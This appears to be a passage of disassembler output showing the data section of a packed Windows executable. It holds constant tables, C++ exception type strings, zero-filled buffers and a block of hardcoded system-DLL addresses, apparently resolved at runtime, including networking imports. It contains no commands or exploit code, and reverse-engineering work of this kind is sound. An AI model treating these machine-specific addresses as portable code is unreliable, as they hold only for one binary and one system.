53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: .packed:00427EC4o ; .packed:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: .packed:off_427D78o ; .packed:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: .packed:off_427DC0o ; .packed:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: .packed:off_427E0Co ; .packed:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: .packed:off_427E58o ; .packed:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; sub_401221+24Do ... align 10h dword_43DB90 dd 0 ; DATA XREF: sub_401221+38Fo ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: sub_401221+3DEw ; sub_401221+456w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 473Ch dup(0) ; DATA XREF: .packed:off_43492Co db 0 byte_457441 db 3 dup(0) ; DATA XREF: .packed:off_43902Co dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: .packed:off_432948o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: .packed:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .packed:off_438E98o dd 5932h dup(0) dword_4CB710 dd 0CF3Bh ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 1Ch ; DATA XREF: sub_401221+3Dw ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: sub_401221:loc_4016FFo dword_4CB71C dd 20h dup(0) ; DATA XREF: sub_401221+495o ; sub_401221+52Fo ... dword_4CB79C dd 10h dup(0) ; DATA XREF: sub_401221+4ABo dword_4CB7DC dd 24h dup(0) ; DATA XREF: sub_401221+4C2o dword_4CB86C dd 0 ; DATA XREF: sub_401221+4B6w ; sub_401221+546w ... dword_4CB870 dd 0 ; DATA XREF: sub_401221+4D5w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: sub_401221+4E3w ; sub_401221+4FAr ... dword_4CB888 dd 0 ; DATA XREF: sub_401221+49Aw ; sub_401ACD+8A2r word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; .packed:0040AFA9o ... align 10h dword_4CB890 dd 77C72C6Bh ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 77EBA994h ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 7622A3F4h ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 71C45229h ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 71C24870h ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 77C71BB0h ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 77D4808Bh ; DATA XREF: sub_409909+213w ; sub_409909+234r ... dword_4CB8AC dd 71C4502Ch ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 77DE801Bh ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 77DDACABh ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 77DE8075h ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 77DD7496h ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 71AB1B7Bh ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 77E686CCh ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 71C2498Bh ; DATA XREF: sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 77DDAB2Fh ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 7620E8C3h ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 77DD23D7h ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 76214750h ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 77E6D75Bh ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 7620BD61h ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 71AB60C9h ; DATA XREF: sub_409909+54Dw ; sub_409909+6D0r ... dword_4CB8E8 dd 77EBA6E9h ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 76D62A58h ; DATA XREF: sub_409909+934w ; sub_413E10+11Ar dword_4CB8F0 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 77E802FCh ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 77C75455h ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 71AB12A7h ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r ... dword_4CB900 dd 71C574FAh ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 71AB1746h ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 71C21CA3h ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 71B28D0Dh ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 762211EFh ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 77D902E3h ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 71C2FA86h ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 77DE1291h ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 77E2C1B3h ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 73B81E3Bh ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 71ABF628h ; DATA XREF: sub_409909+6ACw ; sub_4111C0+D0r dword_4CB92C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 77C72889h ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 71C453F8h ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 77DD5C55h ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 77E96645h ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 77428B97h ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 71AB41DAh ; DATA XREF: sub_401221+8Cr ; sub_401ACD+5037r ... dword_4CB948 dd 762059A3h ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 71C4A1B4h ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 1F7CD214h ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 77E09134h ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 77D4456Bh ; DATA XREF: sub_409909+22Dw ; sub_4126A7+40r ... dword_4CB95C dd 76D629BBh ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er ... dword_4CB960 dd 1F7B9D96h ; DATA XREF: sub_409909+C28w dword_4CB964 dd 77E09070h ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 71AB1740h ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 7620AFB6h ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 77D5C13Ah ; DATA XREF: sub_409909+220w ; sub_409909+23Cr ... dword_4CB974 dd 77D45B19h ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 71AB157Eh ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 71AB14DCh ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0CC0004h ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 77DD590Bh ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 71ABD755h ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 77DF7311h ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 77DDA2AFh ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 1F7CD927h ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 76206853h ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 77D4932Ch ; DATA XREF: sub_409909+206w ; sub_409909+227r ... dword_4CB9A4 dd 77D5E310h ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 76206B7Fh ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 71AB1444h ; DATA XREF: sub_409909+624w ; sub_409909+774r ... dword_4CB9B0 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 71AB3F8Dh ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 77DD5D20h ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 71AB1890h ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 77C76B34h ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 77D5E38Ch ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 77DDA20Bh ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 76F36EEBh ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 71AB12A7h ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 77EBA595h ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 77C7531Dh ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 77D4BDCAh ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 71C3516Ah ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 71AB32CAh ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 71AB5690h ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 1F7CB8F8h ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 77EBB1E7h ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 77DD59F0h ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 71AB5DE2h ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 71AB3ECEh ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 73B81B0Fh ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 76204E4Dh ; DATA XREF: sub_409909+879w ; sub_4167A0+4DCr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 1F7D886Ah ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 71AB12F8h ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 77C76551h ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 77C729E2h ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 77C7212Fh ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 71AB1AF4h ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 77D5E303h ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 71C4576Ch ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 77D4702Fh ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 77E6C0E3h ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 71AB1ED3h ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 71B2A381h ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 77DDA595h ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 77DD22EAh ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 773F97B0h ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 76D67A29h ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 76D674FAh ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 1F7BA3A9h ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 71AB401Ch ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 71C214BAh ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 71AB868Dh ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 71AB155Ah ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 71B22C25h ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 71AB5A01h ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 71B2ACCBh ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 77E78C17h ; DATA XREF: sub_401221+52r ; sub_409909+31w ... dword_4CBA84 dd 77D49A11h ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 76D62A37h ; DATA XREF: sub_409909+927w ; sub_409909+93Br ... dword_4CBA90 dd 77E6CBF9h ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: sub_401221+349r ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C600+D9w ... dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r ... dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r ... dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: sub_40EED1+1Fr ; sub_40EF1C+BCo ... dword_4CE6FC dd 0 ; DATA XREF: sub_40EF1C+B7o ; sub_40EF1C+DAr ... dword_4CE700 dd 0 ; DATA XREF: sub_40EF1C+9Ao ; sub_40EF1C+CFr ... dword_4CE704 dd 0 ; DATA XREF: sub_40EE8E+35r ; sub_40EF1C+95o ... dword_4CE708 dd 0 ; DATA XREF: sub_40EE8E+17r ; sub_40EED1+3Dr ... align 10h dword_4CE710 dd 0CEFDh ; DATA XREF: sub_40BD91+2AEr ; sub_40F0F1+10w ... align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr ; sub_40F108+27Cw dword_4CE71C dd 0 ; DATA XREF: sub_40F9BF+2Aw ; sub_40F9BF+51r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: sub_4111C0+146r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o align 10h byte_4CE740 db 0 ; DATA XREF: sub_413A29+1D3w ; sub_413A29+2D2o align 2 word_4CE742 dw 0 ; DATA XREF: sub_413A29+1E3w word_4CE744 dw 0 ; DATA XREF: sub_413A29+1E9w word_4CE746 dw 0 ; DATA XREF: sub_413A29+1F0w byte_4CE748 db 0 ; DATA XREF: sub_413A29+1F7w byte_4CE749 db 0 ; DATA XREF: sub_413A29+1FEw word_4CE74A dw 0 ; DATA XREF: sub_413A29+204w dword_4CE74C dd 0 ; DATA XREF: sub_413A29+234w ; sub_413A29+250w dword_4CE750 dd 0 ; DATA XREF: sub_413A29+258w byte_4CE754 db 0 ; DATA XREF: sub_413A29+26Aw byte_4CE755 db 0 ; DATA XREF: sub_413A29+27Dw word_4CE756 dw 0 ; DATA XREF: sub_413A29+295w word_4CE758 dw 0 ; DATA XREF: sub_413A29+2A4w word_4CE75A dw 0 ; DATA XREF: sub_413A29+29Cw dword_4CE75C dd 101h dup(0) ; DATA XREF: sub_413A29+2B9o dword_4CEB60 dd 80h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo ... byte_4CED60 db 0 ; DATA XREF: sub_4152D1+1A1w ; sub_4152D1+27Ao align 2 word_4CED62 dw 0 ; DATA XREF: sub_4152D1+1AEw word_4CED64 dw 0 ; DATA XREF: sub_4152D1+1B8w word_4CED66 dw 0 ; DATA XREF: sub_4152D1+1C1w byte_4CED68 db 0 ; DATA XREF: sub_4152D1+1C8w byte_4CED69 db 0 ; DATA XREF: sub_4152D1+1CFw word_4CED6A dw 0 ; DATA XREF: sub_4152D1+1D6w dword_4CED6C dd 0 ; DATA XREF: sub_4152D1+1E3w dword_4CED70 dd 0 ; DATA XREF: sub_4152D1+1EBw word_4CED74 dw 0 ; DATA XREF: sub_4152D1+244w word_4CED76 dw 0 ; DATA XREF: sub_4152D1+22Cw word_4CED78 dw 0 ; DATA XREF: sub_4152D1+256w word_4CED7A dw 0 ; DATA XREF: sub_4152D1+1F7w dword_4CED7C dd 101h dup(0) ; DATA XREF: sub_4152D1+265o dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... align 10h byte_4CF190 db 0 ; DATA XREF: sub_4157BA+241o ; sub_4157BA+250w ... byte_4CF191 db 0 ; DATA XREF: sub_4157BA+264w word_4CF192 dw 0 ; DATA XREF: sub_4157BA+295w word_4CF194 dw 0 ; DATA XREF: sub_4157BA+27Cw ; sub_4157BA:loc_415B8Cw word_4CF196 dw 0 ; DATA XREF: sub_4157BA+29Bw byte_4CF198 db 0 ; DATA XREF: sub_4157BA+288w byte_4CF199 db 0 ; DATA XREF: sub_4157BA+25Dw word_4CF19A dw 0 ; DATA XREF: sub_4157BA+3F2w ; sub_4157BA+41Cw dword_4CF19C dd 0 ; DATA XREF: sub_4157BA:loc_415A83w ; sub_4157BA+39Ar dword_4CF1A0 dd 0 ; DATA XREF: sub_4157BA+2D6w word_4CF1A4 dw 0 ; DATA XREF: sub_4157BA+394w ; sub_4157BA+3E8o word_4CF1A6 dw 0 ; DATA XREF: sub_4157BA+335w ; sub_4157BA+35Ar ... dword_4CF1A8 dd 0 ; DATA XREF: sub_4157BA+30Cw ; sub_4157BA+3D9w dword_4CF1AC dd 0 ; DATA XREF: sub_4157BA+328w ; sub_4157BA+3ABw ... byte_4CF1B0 db 0 ; DATA XREF: sub_4157BA+311r ; sub_4157BA+31Fw byte_4CF1B1 db 0 ; DATA XREF: sub_4157BA+2DBw ; sub_4157BA+3A4w ... word_4CF1B2 dw 0 ; DATA XREF: sub_4157BA+2E9w word_4CF1B4 dw 